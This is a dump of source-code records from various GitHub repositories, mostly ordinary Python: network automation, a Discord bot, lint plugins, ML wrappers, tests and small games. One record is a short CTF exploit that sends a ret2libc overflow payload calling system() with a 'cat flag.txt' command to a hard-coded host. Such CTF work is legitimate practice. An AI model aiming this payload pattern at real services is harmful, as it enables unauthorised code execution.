2019-09-28T17:00:45.000Z
# # -*- coding: utf-8 -*- # Copyright 2019 Red Hat # GNU General Public License v3.0+ # (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) """ The nxos_l3_interfaces class It is in this file where the current configuration (as dict) is compared to the provided configuration (as dict) and the command set necessar...
35.565495
120
0.590729
# # -*- coding: utf-8 -*- # Copyright 2019 Red Hat # GNU General Public License v3.0+ # (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) """ The nxos_l3_interfaces class It is in this file where the current configuration (as dict) is compared to the provided configuration (as dict) and the command set necessar...
0
0
0
10,213
0
0
0
299
134
c60315315b1b0a6ab3d7ae3c01b28dc0330bc248
286
py
Python
src/startup_tasks.py
bbrietzke/amina-naidu
728748aaaa5a8125215ebc47303ea32d983942ce
[ "BSD-3-Clause" ]
null
null
null
src/startup_tasks.py
bbrietzke/amina-naidu
728748aaaa5a8125215ebc47303ea32d983942ce
[ "BSD-3-Clause" ]
null
null
null
src/startup_tasks.py
bbrietzke/amina-naidu
728748aaaa5a8125215ebc47303ea32d983942ce
[ "BSD-3-Clause" ]
null
null
null
import logging logger = logging.getLogger('tasks') # https://discord.gg/C6AQaJcDdn
22
48
0.737762
from discord.ext.commands import Cog from discord.utils import get from discord.ext import tasks import logging logger = logging.getLogger('tasks') class StartupTasks(Cog, name = 'Startup Tasks'): def __init__(self, bot): self.__bot = bot # https://discord.gg/C6AQaJcDdn
0
0
0
81
0
0
0
31
89
fe1f740fd51bf888fbacf441f65fbe1a286f3389
9,577
py
Python
flake8_prevent_fails/__init__.py
Atterratio/flake8-prevent-fails
068502a1542d03e60d9d9a9853dfdc1f0883f9cb
[ "MIT" ]
null
null
null
flake8_prevent_fails/__init__.py
Atterratio/flake8-prevent-fails
068502a1542d03e60d9d9a9853dfdc1f0883f9cb
[ "MIT" ]
null
null
null
flake8_prevent_fails/__init__.py
Atterratio/flake8-prevent-fails
068502a1542d03e60d9d9a9853dfdc1f0883f9cb
[ "MIT" ]
null
null
null
__version__ = '0.0.5' __all__ = ('FailsChecker', ) MESSAGES = { 'PF101': 'PF101 Potential IndexError fail.', 'PF102': 'PF102 Potential KeyError fail. You can replace this with `dict.get(key, failback_value)`', 'PF103': 'PF103 Potential IndexError or KeyError fail.', }
41.280172
104
0.446695
import ast __version__ = '0.0.5' __all__ = ('FailsChecker', ) MESSAGES = { 'PF101': 'PF101 Potential IndexError fail.', 'PF102': 'PF102 Potential KeyError fail. You can replace this with `dict.get(key, failback_value)`', 'PF103': 'PF103 Potential IndexError or KeyError fail.', } class PluginVisitor(ast....
0
0
0
9,235
0
0
0
-11
68
9bfb7d2af35b5044c0b51f83cbd723b998930299
2,764
py
Python
Cruise Control/Solution.py
YIWEI-CHEN/google_code_jam_practice_session_2018
a0fd32911e10b69116c2923ab1c9e58e4e02fdde
[ "MIT" ]
null
null
null
Cruise Control/Solution.py
YIWEI-CHEN/google_code_jam_practice_session_2018
a0fd32911e10b69116c2923ab1c9e58e4e02fdde
[ "MIT" ]
null
null
null
Cruise Control/Solution.py
YIWEI-CHEN/google_code_jam_practice_session_2018
a0fd32911e10b69116c2923ab1c9e58e4e02fdde
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Apr 1 15:18:09 2018 @author: yiwei """ #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Apr 1 06:11:18 2018 @author: yiwei """ if __name__ == '__main__': FROM_STDIN = True # FROM_STDIN = False horse_list = [] if FR...
30.043478
111
0.58864
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Apr 1 15:18:09 2018 @author: yiwei """ #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Apr 1 06:11:18 2018 @author: yiwei """ from copy import deepcopy class Horse(object): def __init__(self, location, speed): self.loca...
0
0
0
223
0
1,456
0
4
91
2625845330bef60b1eb6182c371d9b13032bb229
8,576
py
Python
measurexp/NMF.py
bcl-group/measurexp
66ab471dad2534ec48d13d0546ee3a4f0eb46a91
[ "MIT" ]
null
null
null
measurexp/NMF.py
bcl-group/measurexp
66ab471dad2534ec48d13d0546ee3a4f0eb46a91
[ "MIT" ]
null
null
null
measurexp/NMF.py
bcl-group/measurexp
66ab471dad2534ec48d13d0546ee3a4f0eb46a91
[ "MIT" ]
null
null
null
import numpy as np # NMF # from scipy.sparse.base import issparse # import warnings # from sklearn.decomposition._nmf import _initialize_nmf as init_NMF X = np.array([[1, 1], [2, 1], [3, 1.2], [4, 1], [5, 0.8], [6, 1]]) model = cuNMF(init='nndsvd') model.fit_transform(X) # decomposition.NMF()
38.285714
79
0.548158
import numpy as np from sklearn import decomposition # NMF from sklearn._config import config_context from sklearn.decomposition._nmf \ import _beta_divergence, \ _check_string_param, \ _check_init, \ _initialize_nmf, \ _compute_regularization from sklearn.utils.validation \ import check_array,...
9
0
0
1,033
0
6,716
0
250
270
f9350d3119001689df5632afe7aa85da2f895288
221
py
Python
big_data/bokeh_examples/function_example.py
paulhtremblay/big-data
dfa2aa9877300a57e7a9368af59c07fcc5841b4f
[ "MIT" ]
null
null
null
big_data/bokeh_examples/function_example.py
paulhtremblay/big-data
dfa2aa9877300a57e7a9368af59c07fcc5841b4f
[ "MIT" ]
7
2020-06-05T18:13:25.000Z
2022-03-11T23:19:48.000Z
big_data/bokeh_examples/function_example.py
paulhtremblay/big-data
dfa2aa9877300a57e7a9368af59c07fcc5841b4f
[ "MIT" ]
1
2020-11-25T18:24:37.000Z
2020-11-25T18:24:37.000Z
from bokeh.plotting import show if __name__ == '__main__': p = plot_func() show(p)
15.785714
40
0.59276
from bokeh.plotting import figure, show import numpy as np def plot_func(): x = np.linspace(0,1,100) print(x) y = [x * x for x in x] print(y) if __name__ == '__main__': p = plot_func() show(p)
0
0
0
0
0
77
0
6
45
2758200c7b9b4e23118e91e0e479902f4cc9a02c
68
py
Python
src/vessel-drift-analysis/vessel_drift_analysis/vessel_drift.py
yosoyjay/project-nps-vessel-drift
1cdc14ef87db31fa03b0c3bdc1d60c332727ef57
[ "MIT" ]
null
null
null
src/vessel-drift-analysis/vessel_drift_analysis/vessel_drift.py
yosoyjay/project-nps-vessel-drift
1cdc14ef87db31fa03b0c3bdc1d60c332727ef57
[ "MIT" ]
null
null
null
src/vessel-drift-analysis/vessel_drift_analysis/vessel_drift.py
yosoyjay/project-nps-vessel-drift
1cdc14ef87db31fa03b0c3bdc1d60c332727ef57
[ "MIT" ]
null
null
null
# Calculations related to estimate probability of a vessel drifting
34
67
0.838235
# Calculations related to estimate probability of a vessel drifting
0
0
0
0
0
0
0
0
0
f678b30434cfbcab5a3a8a898d0a71ec304355f1
919
py
Python
voteModels.py
TheaGao/SklearnModel
fe445cddd4fde9acdc87e7e7b3fbc356d1c586aa
[ "MIT" ]
1
2017-12-22T08:51:43.000Z
2017-12-22T08:51:43.000Z
voteModels.py
TheaGao/SklearnModel
fe445cddd4fde9acdc87e7e7b3fbc356d1c586aa
[ "MIT" ]
null
null
null
voteModels.py
TheaGao/SklearnModel
fe445cddd4fde9acdc87e7e7b3fbc356d1c586aa
[ "MIT" ]
null
null
null
from sklearn.externals import joblib from preprocessData import getDataXY, get_accuracy trainX, trainY, testX, testY, validX, validY = getDataXY() print type(trainY) models = ['Models/dt0.58.pkl', 'Models/NB0.59.pkl', 'Models/NC0.57.pkl', 'Models/NNP0.61.pkl', 'Models/sgd0.54.pkl'] all_pre = [] for model ...
20.886364
83
0.644178
from sklearn.externals import joblib from preprocessData import getDataXY, get_accuracy trainX, trainY, testX, testY, validX, validY = getDataXY() print type(trainY) models = ['Models/dt0.58.pkl', 'Models/NB0.59.pkl', 'Models/NC0.57.pkl', 'Models/NNP0.61.pkl', 'Models/sgd0.54.pkl'] all_pre = [] for model ...
0
0
0
0
0
401
0
0
23
a1ab82d17d46b556b507ef9ff87a538c36628057
327
py
Python
docs/source/examples/FB2.0/patch_subnets.py
Flav-STOR-WL/py-pure-client
03b889c997d90380ac5d6380ca5d5432792d3e89
[ "BSD-2-Clause" ]
14
2018-12-07T18:30:27.000Z
2022-02-22T09:12:33.000Z
docs/source/examples/FB2.0/patch_subnets.py
Flav-STOR-WL/py-pure-client
03b889c997d90380ac5d6380ca5d5432792d3e89
[ "BSD-2-Clause" ]
28
2019-09-17T21:03:52.000Z
2022-03-29T22:07:35.000Z
docs/source/examples/FB2.0/patch_subnets.py
Flav-STOR-WL/py-pure-client
03b889c997d90380ac5d6380ca5d5432792d3e89
[ "BSD-2-Clause" ]
15
2020-06-11T15:50:08.000Z
2022-03-21T09:27:25.000Z
from pypureclient.flashblade import Subnet # update a subnet's gateway by name res = client.patch_subnets( names=['mysubnet'], subnet=Subnet(gateway='1.2.3.1')) print(res) if type(res) == pypureclient.responses.ValidResponse: print(list(res.items)) # Other valid fields: ids # See section "Common Fields" for ex...
29.727273
57
0.743119
from pypureclient.flashblade import Subnet # update a subnet's gateway by name res = client.patch_subnets( names=['mysubnet'], subnet=Subnet(gateway='1.2.3.1')) print(res) if type(res) == pypureclient.responses.ValidResponse: print(list(res.items)) # Other valid fields: ids # See section "Common Fields" for ex...
0
0
0
0
0
0
0
0
0
06f951e3283966b724d8baaa6c24390241496a9d
667
py
Python
dataset-processor2.py
Pawel762/class5-homework
8e48dcda1ed91b7a5e28bea6db13b2a82182e074
[ "MIT" ]
null
null
null
dataset-processor2.py
Pawel762/class5-homework
8e48dcda1ed91b7a5e28bea6db13b2a82182e074
[ "MIT" ]
null
null
null
dataset-processor2.py
Pawel762/class5-homework
8e48dcda1ed91b7a5e28bea6db13b2a82182e074
[ "MIT" ]
null
null
null
import pandas as pd wine_df = pd.read_csv(filepath_or_buffer='~/class5-homework/wine.data', sep=',', header=None) wine_df.columns = ['Class','Alcohol','Malic_Acid','Ash','Alcalinity_of_Ash','Magnesium', 'Total_Phenols','Flavanoids','Nonflavanoid_Phenols','Proanthocyanins...
29
88
0.688156
import pandas as pd import matplotlib.pyplot as plt wine_df = pd.read_csv(filepath_or_buffer='~/class5-homework/wine.data', sep=',', header=None) wine_df.columns = ['Class','Alcohol','Malic_Acid','Ash','Alcalinity_of_Ash','Magnesium', 'Total_Phenols','Flavanoids','Nonfl...
0
0
0
0
0
0
0
10
23
34447222ec8b637e61000a67d97c637fdcfc8fe1
12,689
py
Python
fun.py
heixiaobai/adnmb-cli
da8701bf301e9199ec79a584617cd131a4c08611
[ "MIT" ]
1
2021-11-11T02:19:41.000Z
2021-11-11T02:19:41.000Z
fun.py
heixiaobai/adnmb-cli
da8701bf301e9199ec79a584617cd131a4c08611
[ "MIT" ]
null
null
null
fun.py
heixiaobai/adnmb-cli
da8701bf301e9199ec79a584617cd131a4c08611
[ "MIT" ]
1
2021-11-11T02:20:49.000Z
2021-11-11T02:20:49.000Z
import re import curses import config import time import api # # conf: config conf = config.config_info # cont: cont = config.control_info # thread_list = {} # post_list = {} # TODO: cont['browse_now_list'] = 0 # TODO: forum_list = api.get_forum_list('adnmb') ss = pad_b = pad_i = pad_c = None def stdscr_pad(s...
27.465368
96
0.533691
import re import curses import config import time import api # 自定义的所有函数 # conf: 从config获取来自默认或者用户定义的配置信息 conf = config.config_info # cont: 在运行过程中保存关于运行状态以及用于控制的信息 cont = config.control_info # 全局使用,当前所访问版块的全部内容 thread_list = {} # 全局使用,当前所访问的串的全部内容 post_list = {} # TODO:注释 cont['browse_now_list'] = 0 # TODO: 需要把自定义版块,目前...
1,869
0
0
0
0
573
0
0
46
51f226bec2148468c07bafa983dd37d9c64a9486
4,752
py
Python
server/volumes/brain_src/test/test_control_handling.py
paul-felt/geppetto
05596c37f63c1e89132cf3e07f9e8d7966766916
[ "MIT" ]
null
null
null
server/volumes/brain_src/test/test_control_handling.py
paul-felt/geppetto
05596c37f63c1e89132cf3e07f9e8d7966766916
[ "MIT" ]
null
null
null
server/volumes/brain_src/test/test_control_handling.py
paul-felt/geppetto
05596c37f63c1e89132cf3e07f9e8d7966766916
[ "MIT" ]
null
null
null
import unittest from brain import constants claw_control_info = { constants.SIGNAL_NAME: 'claw', constants.SIGNAL_LIMITS: [100.0, 400.0], constants.SIGNAL_CHANNEL_NAME: 'gp.robots.testrobot.controls.claw', } twist_control_info = { constants.SIGNAL_NAME: 'twist', constants.SIGNAL_LIMITS: [100.0, 500...
39.932773
112
0.611742
import unittest import numpy as np import base64 from brain import control_handling from brain import constants claw_control_info = { constants.SIGNAL_NAME: 'claw', constants.SIGNAL_LIMITS: [100.0, 400.0], constants.SIGNAL_CHANNEL_NAME: 'gp.robots.testrobot.controls.claw', } twist_control_info = { co...
0
0
0
4,210
0
0
0
2
91
1b9f3e6d5112c9b28a120b41422bd49f725e07ba
2,847
py
Python
src/hardware_indep/multi/parser.stage.c.py
GEANT-DataPlaneProgramming/t4p4s
334dec8e941ed7526d320fc1697ad7a30c3709fb
[ "Apache-2.0" ]
4
2021-12-10T19:06:51.000Z
2022-01-06T19:52:46.000Z
src/hardware_indep/multi/parser.stage.c.py
GEANT-DataPlaneProgramming/t4p4s
334dec8e941ed7526d320fc1697ad7a30c3709fb
[ "Apache-2.0" ]
null
null
null
src/hardware_indep/multi/parser.stage.c.py
GEANT-DataPlaneProgramming/t4p4s
334dec8e941ed7526d320fc1697ad7a30c3709fb
[ "Apache-2.0" ]
null
null
null
# SPDX-License-Identifier: Apache-2.0 # Copyright 2021 Eotvos Lorand University, Budapest, Hungary compiler_common.current_compilation['is_multicompiled'] = True part_count = compiler_common.current_compilation['multi'] multi_idx = compiler_common.current_compilation['multi_idx'] table_names = (table.short_name + ("...
44.484375
194
0.600281
# SPDX-License-Identifier: Apache-2.0 # Copyright 2021 Eotvos Lorand University, Budapest, Hungary compiler_common.current_compilation['is_multicompiled'] = True part_count = compiler_common.current_compilation['multi'] multi_idx = compiler_common.current_compilation['multi_idx'] table_names = (table.short_name + ("...
0
0
0
0
0
0
0
0
0
f01c40eda22ce2dbb9c545cd950b4f467984b666
285
py
Python
venv/lib/python2.7/site-packages/pylint/test/input/func_newstyle___slots__.py
mutaihillary/mycalculator
55685dd7c968861f18ae0701129f5af2bc682d67
[ "MIT" ]
null
null
null
venv/lib/python2.7/site-packages/pylint/test/input/func_newstyle___slots__.py
mutaihillary/mycalculator
55685dd7c968861f18ae0701129f5af2bc682d67
[ "MIT" ]
7
2021-02-08T20:22:15.000Z
2022-03-11T23:19:41.000Z
venv/lib/python2.7/site-packages/pylint/test/input/func_newstyle___slots__.py
mutaihillary/mycalculator
55685dd7c968861f18ae0701129f5af2bc682d67
[ "MIT" ]
null
null
null
# pylint: disable=R0903 """test __slots__ on old style class""" __revision__ = 1 __slots__ = 'hop' # pfff
15.833333
39
0.585965
# pylint: disable=R0903 """test __slots__ on old style class""" __revision__ = 1 class OkOk(object): """correct usage""" __slots__ = ('a', 'b') class HaNonNonNon: """bad usage""" __slots__ = ('a', 'b') def __init__(self): pass __slots__ = 'hop' # pfff
0
0
0
131
0
0
0
0
46
4ae2d6e7ad5b3277cfeece0959766a37d3ee5322
3,576
py
Python
redis_consumer/consumers/spot_consumer_test.py
vanvalenlab/tf-serving-redis-interface
f696c05ee622ac6cc38dc1afcef2379d2ea9d9f0
[ "Apache-2.0" ]
null
null
null
redis_consumer/consumers/spot_consumer_test.py
vanvalenlab/tf-serving-redis-interface
f696c05ee622ac6cc38dc1afcef2379d2ea9d9f0
[ "Apache-2.0" ]
null
null
null
redis_consumer/consumers/spot_consumer_test.py
vanvalenlab/tf-serving-redis-interface
f696c05ee622ac6cc38dc1afcef2379d2ea9d9f0
[ "Apache-2.0" ]
null
null
null
# Copyright 2016-2022 The Van Valen Lab at the California Institute of # Technology (Caltech), with support from the Paul Allen Family Foundation, # Google, & National Institutes of Health (NIH) under Grant U24CA224309-01. # All rights reserved. # # Licensed under a modified Apache License, Version 2.0 (the "License");...
38.869565
86
0.675615
# Copyright 2016-2022 The Van Valen Lab at the California Institute of # Technology (Caltech), with support from the Paul Allen Family Foundation, # Google, & National Institutes of Health (NIH) under Grant U24CA224309-01. # All rights reserved. # # Licensed under a modified Apache License, Version 2.0 (the "License");...
0
0
0
1,935
0
0
0
101
135
889ac7ffd9a005060bb43a97aad62ce181ad364f
1,608
py
Python
lang/python/bottle/todo/todoone.py
liuyang1/test
a4560e0c9ffd0bc054d55bbcf12a894ab5b7d417
[ "MIT" ]
8
2015-06-07T13:25:48.000Z
2022-03-22T23:14:50.000Z
lang/python/bottle/todo/todoone.py
liuyang1/test
a4560e0c9ffd0bc054d55bbcf12a894ab5b7d417
[ "MIT" ]
30
2016-01-29T01:36:41.000Z
2018-09-19T07:01:22.000Z
lang/python/bottle/todo/todoone.py
liuyang1/test
a4560e0c9ffd0bc054d55bbcf12a894ab5b7d417
[ "MIT" ]
null
null
null
from bottle import run, debug def pretty_print_POST(req): """ At this point it is completely built and ready to be fired; it is "prepared". However pay attention at the formatting used in this function because it is programmed to be pretty printed and may differ from the actual request. ...
27.724138
74
0.574627
from bottle import route, run, debug, template, request import sqlite3 def pretty_print_POST(req): """ At this point it is completely built and ready to be fired; it is "prepared". However pay attention at the formatting used in this function because it is programmed to be pretty printed an...
0
752
0
0
0
0
0
19
67
919d3ccaca0399f9adb321600f7cfa64da99a4b2
6,262
py
Python
python/deal_10_fq_list.py
FireflyTang/WoQu
9f1763b1971e8fce99d123584e803fac36821756
[ "MIT" ]
null
null
null
python/deal_10_fq_list.py
FireflyTang/WoQu
9f1763b1971e8fce99d123584e803fac36821756
[ "MIT" ]
null
null
null
python/deal_10_fq_list.py
FireflyTang/WoQu
9f1763b1971e8fce99d123584e803fac36821756
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -* #!/usr/bin/python
33.666667
97
0.454168
# -*- coding: utf-8 -* #!/usr/bin/python from dealctrl import * class deal_10_pb_list(dealctrl): def __init__(self,con): dealctrl.__init__(self,con) def run(self): userid=int(self.recvdic['userid']) time=int(self.recvdic['time']) timelimit='' if(time): timel...
0
0
0
6,174
0
0
0
1
46
63cb909a668dcccf26c627d74673ec61d29d34cb
714
py
Python
bot.py
Snowcola/simbot
9d7b04bb46a85d5ffdb57a1c725ca0def92442e8
[ "MIT" ]
null
null
null
bot.py
Snowcola/simbot
9d7b04bb46a85d5ffdb57a1c725ca0def92442e8
[ "MIT" ]
null
null
null
bot.py
Snowcola/simbot
9d7b04bb46a85d5ffdb57a1c725ca0def92442e8
[ "MIT" ]
null
null
null
import os import logging from discord.ext import commands from simc import SimC logger = logging.getLogger('discord') logger.setLevel(logging.DEBUG) handler = logging.FileHandler( filename='discord.log', encoding='utf-8', mode='w') handler.setFormatter( logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %...
22.3125
73
0.726891
import os import discord import asyncio import logging from discord.ext import commands from simc import SimC logger = logging.getLogger('discord') logger.setLevel(logging.DEBUG) handler = logging.FileHandler( filename='discord.log', encoding='utf-8', mode='w') handler.setFormatter( logging.Formatter('%(ascti...
0
71
0
0
0
0
0
-14
67
5eff4f616e1bf74af785abd760f50d2a582846ad
829
py
Python
mark_blocks.py
m0t/ida-scripts
17124a4dfc869064a2b44ba89047d03ab4157230
[ "MIT" ]
5
2015-03-21T05:48:22.000Z
2016-12-04T13:35:48.000Z
mark_blocks.py
m0t/ida-scripts
17124a4dfc869064a2b44ba89047d03ab4157230
[ "MIT" ]
null
null
null
mark_blocks.py
m0t/ida-scripts
17124a4dfc869064a2b44ba89047d03ab4157230
[ "MIT" ]
null
null
null
''' @author: m0t ''' #search for blocks colored purple(0x9933cc) and creates a disabled breakpoint at the start of each. #To be used with process stalker to immediately see "interesting" blocks purple = 0x9933cc #our definition of purple... #get start address of each function, scan it for purple, setbreakpoint() f...
23.027778
99
0.714113
''' @author: m0t ''' #search for blocks colored purple(0x9933cc) and creates a disabled breakpoint at the start of each. #To be used with process stalker to immediately see "interesting" blocks from idc import * from idautils import * purple = 0x9933cc #our definition of purple... #get start address of each funct...
0
0
0
0
0
0
0
-3
45
0c4e4f3219b1763eefe5c44b1aa31a75eea348c6
2,971
py
Python
sliding_window/lesson_4.py
Adorism/grok-practice
62576ef8cce1f9e4289366d9f733618f50c9b648
[ "MIT" ]
null
null
null
sliding_window/lesson_4.py
Adorism/grok-practice
62576ef8cce1f9e4289366d9f733618f50c9b648
[ "MIT" ]
null
null
null
sliding_window/lesson_4.py
Adorism/grok-practice
62576ef8cce1f9e4289366d9f733618f50c9b648
[ "MIT" ]
null
null
null
''' Problem Statement Given a string with lowercase letters only, if you are allowed to replace no more than k letters with any letter, find the length of the longest substring having the same letters after replacement. Example 1: Input: String="aabccbb", k=2 Output: 5 Explanation: Replace the two 'c' with 'b' to have ...
34.952941
213
0.684618
''' Problem Statement Given a string with lowercase letters only, if you are allowed to replace no more than ‘k’ letters with any letter, find the length of the longest substring having the same letters after replacement. Example 1: Input: String="aabccbb", k=2 Output: 5 Explanation: Replace the two 'c' with 'b' to hav...
15
0
0
0
0
1,864
0
0
68
1452ea9c83f0c6e864e6bb0c90c52cc4eb4cfc1e
3,292
py
Python
dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Borrowed/ce_20000819.py
aleasims/Peach
bb56841e943d719d5101fee0a503ed34308eda04
[ "MIT" ]
null
null
null
dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Borrowed/ce_20000819.py
aleasims/Peach
bb56841e943d719d5101fee0a503ed34308eda04
[ "MIT" ]
null
null
null
dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Borrowed/ce_20000819.py
aleasims/Peach
bb56841e943d719d5101fee0a503ed34308eda04
[ "MIT" ]
1
2020-07-26T03:57:45.000Z
2020-07-26T03:57:45.000Z
'''Contributed by Carey Evans''' """outenc.py Test whether 4DOM and 4XSLT produce correct output given different input strings, using different output encodings. The general testing procedure goes: Read document into DOM from string <A>. Extract text into Unicode string <B>. Write DOM to another stri...
25.92126
93
0.655832
'''Contributed by Carey Evans''' import sys from Ft.Xml.Xslt import Processor """outenc.py Test whether 4DOM and 4XSLT produce correct output given different input strings, using different output encodings. The general testing procedure goes: Read document into DOM from string <A>. Extract text into Uni...
0
0
0
0
0
1,477
0
12
213
758d57783fdc7bdff4fbe8436f421b519abc52a6
2,584
py
Python
h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_5008_5386_glm_ordinal_large.py
vishalbelsare/h2o-3
9322fb0f4c0e2358449e339a434f607d524c69fa
[ "Apache-2.0" ]
1
2022-03-15T06:08:14.000Z
2022-03-15T06:08:14.000Z
h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_5008_5386_glm_ordinal_large.py
vishalbelsare/h2o-3
9322fb0f4c0e2358449e339a434f607d524c69fa
[ "Apache-2.0" ]
58
2021-10-01T12:43:37.000Z
2021-12-08T22:58:43.000Z
h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_5008_5386_glm_ordinal_large.py
vishalbelsare/h2o-3
9322fb0f4c0e2358449e339a434f607d524c69fa
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- encoding: utf-8 -*- from __future__ import print_function from tests import pyunit_utils if __name__ == "__main__": pyunit_utils.standalone_test(testOrdinalLogit) else: testOrdinalLogit()
45.333333
141
0.629644
#!/usr/bin/env python # -*- encoding: utf-8 -*- from __future__ import print_function import h2o from tests import pyunit_utils from h2o.estimators.glm import H2OGeneralizedLinearEstimator def testOrdinalLogit(): Dtrain = h2o.import_file(pyunit_utils.locate("bigdata/laptop/glm_ordinal_logit/ordinal_ordinal_20_tra...
0
0
0
0
0
2,240
0
28
90
a23bb494afe62c84ae4f93b0840f0a82740884cd
421
py
Python
ectf'14/exploit/250/exploit.py
anarcheuz/CTF
beaccbfe036d90c7d7018978bad288c831d3f8f5
[ "MIT" ]
2
2015-03-24T22:20:08.000Z
2018-05-12T16:41:13.000Z
ectf'14/exploit/250/exploit.py
anarcheuz/CTF
beaccbfe036d90c7d7018978bad288c831d3f8f5
[ "MIT" ]
null
null
null
ectf'14/exploit/250/exploit.py
anarcheuz/CTF
beaccbfe036d90c7d7018978bad288c831d3f8f5
[ "MIT" ]
null
null
null
import socket import struct from binascii import hexlify system_plt = 0x080483a0 sh = 0x80485c0 # /bin/bash -c 'cat flag.txt' payload = "A"*140 payload += struct.pack("<I", system_plt) payload += "AAAA" payload += struct.pack("<I", sh) #open('payload', 'w').write(payload) s=socket.create_connection(('212.71.235.214...
18.304348
52
0.700713
import socket import struct from binascii import hexlify system_plt = 0x080483a0 sh = 0x80485c0 # /bin/bash -c 'cat flag.txt' payload = "A"*140 payload += struct.pack("<I", system_plt) payload += "AAAA" payload += struct.pack("<I", sh) #open('payload', 'w').write(payload) s=socket.create_connection(('212.71.235.214...
0
0
0
0
0
0
0
0
0
9883d0fce6658908ad9144bec50e2e9e4127d938
727
py
Python
kaijigame.py
theortsac/kaiji-e-card
3eca9df6ff6cb1890619f7b5593090aa531a7718
[ "MIT" ]
null
null
null
kaijigame.py
theortsac/kaiji-e-card
3eca9df6ff6cb1890619f7b5593090aa531a7718
[ "MIT" ]
null
null
null
kaijigame.py
theortsac/kaiji-e-card
3eca9df6ff6cb1890619f7b5593090aa531a7718
[ "MIT" ]
null
null
null
from random import randrange kingCards = ['C', 'C', 'C', 'C', 'K'] slaveCards = ['C', 'C', 'C', 'C', 'S'] print("""- C = Citizen - S = Slave - K = King""") for i in range(5): print('Your cards:', slaveCards) cardIPlay = input('Which card will you play? ') slaveCards.remove(cardIPlay) cardKPlay = kingCa...
27.961538
52
0.562586
from random import randrange kingCards = ['C', 'C', 'C', 'C', 'K'] slaveCards = ['C', 'C', 'C', 'C', 'S'] print("""- C = Citizen - S = Slave - K = King""") for i in range(5): print('Your cards:', slaveCards) cardIPlay = input('Which card will you play? ') slaveCards.remove(cardIPlay) cardKPlay = kingCa...
0
0
0
0
0
0
0
0
0
0bafb6537a70fec8df830c76f640e26f36eafc3c
162
py
Python
random/main.py
alexander-schilling/fintual_test
3a8a3cd17dea4a7a1203eb1cd58a2af411700207
[ "MIT" ]
null
null
null
random/main.py
alexander-schilling/fintual_test
3a8a3cd17dea4a7a1203eb1cd58a2af411700207
[ "MIT" ]
null
null
null
random/main.py
alexander-schilling/fintual_test
3a8a3cd17dea4a7a1203eb1cd58a2af411700207
[ "MIT" ]
null
null
null
main()
14.727273
39
0.697531
from classes.portfolio import Portfolio from classes.menu import Menu def main(): portfolio = Portfolio() menu = Menu(portfolio) menu.run() main()
0
0
0
0
0
61
0
26
67
e73dabd3fa271e007962498bfd2e13f26651cc6f
1,184
py
Python
scripts/dblp/wordcases.py
sandeepsoni/semantic-progressiveness
824079b388d0eebc92b2197805b27ed320353f8f
[ "MIT" ]
2
2021-04-11T16:28:44.000Z
2021-07-31T03:22:07.000Z
scripts/dblp/wordcases.py
sandeepsoni/semantic-progressiveness
824079b388d0eebc92b2197805b27ed320353f8f
[ "MIT" ]
null
null
null
scripts/dblp/wordcases.py
sandeepsoni/semantic-progressiveness
824079b388d0eebc92b2197805b27ed320353f8f
[ "MIT" ]
1
2021-09-01T22:45:25.000Z
2021-09-01T22:45:25.000Z
import plac import logging logging.basicConfig (format="%(asctime)s : %(levelname)s : %(message)s", level=logging.INFO) if __name__ == "__main__": plac.call (main)
30.358974
104
0.654561
import plac import os from collections import defaultdict import logging logging.basicConfig (format="%(asctime)s : %(levelname)s : %(message)s", level=logging.INFO) @plac.annotations( dirname = ("path of the directory", "positional"), srcfile = ("source filename", "positional"), tgtfile = ("target filename", "pos...
0
948
0
0
0
0
0
2
67
9984656faf22657ca1d0eb854e78379b3f16d39e
514
py
Python
example80.py
augustone/100examples
94b593b5690a7403e1bf7424047f9a67822d2fd7
[ "Unlicense" ]
21
2017-05-01T10:23:42.000Z
2021-09-27T17:11:43.000Z
example80.py
augustone/100examples
94b593b5690a7403e1bf7424047f9a67822d2fd7
[ "Unlicense" ]
null
null
null
example80.py
augustone/100examples
94b593b5690a7403e1bf7424047f9a67822d2fd7
[ "Unlicense" ]
6
2017-05-26T12:23:26.000Z
2020-06-30T01:57:36.000Z
#!/usr/bin/python3 __author__ = "yang.dd" """ example 080 """ if __name__ == '__main__': ''' 1 ''' monkey = 5 peach5th = 1 peach = 1 while monkey > 1: total = peach * 5 + 1 if total % 4 == 0: monkey -= 1 peach = total / 4 e...
17.133333
49
0.451362
#!/usr/bin/python3 __author__ = "yang.dd" """ example 080 """ if __name__ == '__main__': ''' 从第五只猴子拿1个的桃子开始算 如果有一只不满足条件,则从头开始计算,直到满足 ''' monkey = 5 peach5th = 1 peach = 1 while monkey > 1: total = peach * 5 + 1 if total % 4 == 0: monkey -= 1 ...
165
0
0
0
0
0
0
0
0
d3cf679068c141105ec4bb19427693ae79759075
3,129
py
Python
s0ngbrew/codec.py
RhythmLunatic/s0ngbrew
a23c96971a1a447bf90f15851e35d1a1ed54b7fb
[ "0BSD" ]
1
2021-04-09T23:43:08.000Z
2021-04-09T23:43:08.000Z
s0ngbrew/codec.py
RhythmLunatic/s0ngbrew
a23c96971a1a447bf90f15851e35d1a1ed54b7fb
[ "0BSD" ]
null
null
null
s0ngbrew/codec.py
RhythmLunatic/s0ngbrew
a23c96971a1a447bf90f15851e35d1a1ed54b7fb
[ "0BSD" ]
1
2019-12-15T15:18:05.000Z
2019-12-15T15:18:05.000Z
#!/usr/bin/env python3
27.447368
126
0.652605
#!/usr/bin/env python3 import os import zlib from struct import pack, unpack class FileCountError(Exception): pass class ChecksumError(Exception): pass class Codec(object): """\ Main codec for DRP. """ def __init__(self, ifname='', ofname='', is_bin=True): self.ifname = ifname #Currently automatic ofna...
0
0
0
2,979
0
0
0
-12
136
e5bb9891de1f56d0ec84f6d31b0fb41b00aa32ff
142
py
Python
03 - Strings/Capitalize!.py
